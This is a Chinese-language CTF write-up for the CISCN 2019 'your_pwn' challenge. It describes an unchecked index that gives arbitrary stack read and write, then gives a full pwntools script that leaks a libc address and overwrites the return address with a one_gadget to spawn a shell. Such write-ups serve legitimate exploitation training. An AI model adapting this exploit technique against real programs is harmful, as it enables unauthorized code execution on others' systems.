ciscn2019-your_pwn

介绍

还是国赛2019的一道题,利用比较麻烦的栈溢出。

分析程序

程序在栈上开辟了一段空间,允许你在上面进行41次读写。然而在读index的时候没有做范围检查,导致可以在栈上进行任意读写。(这样基本就无敌了)

利用方式

  1. 首先利用任意读,读到栈上残留的一些libc地址,并计算出libc基址。
  2. 根据libc地址,讲返回地址写入onegadget,即可getshell。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

binary = './pwn'
lib = '/lib/x86_64-linux-gnu/libc-2.23.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

def read8(offset):
ret = 0
for x in range(8):
p.recvuntil('input index\n')
p.sendline(str(offset+7-x))
p.recvuntil('now value(hex) ')
leak = p.recvuntil('\n')
byte = int(leak[-3:],16)
ret <<= 8
ret += byte
p.recvuntil('input new value\n')
p.sendline(str(byte))
return ret

def write8(offset, code):
assert len(code) == 8
for x in range(8):
p.recvuntil('input index\n')
p.sendline(str(offset+x))
p.recvuntil('input new value\n')
p.sendline(str(ord(code[x])))

p.recvuntil('name:')
p.sendline('123123')

libc.address = read8(632) - (0x7f3e484f0830 - 0x7f3e484d0000)

p.info('libc.address: %s' % hex(libc.address))

write8(344, p64(libc.address + 0x45216))
write8(0, p64(0))
write8(0, p64(0))
write8(0, p64(0))
p.recvuntil('input index\n')
p.sendline('0')
p.recvuntil('input new value\n')
p.sendline('0')

p.recvuntil('do you want continue(yes/no)?')
p.sendline('no')

# p.close()
p.interactive()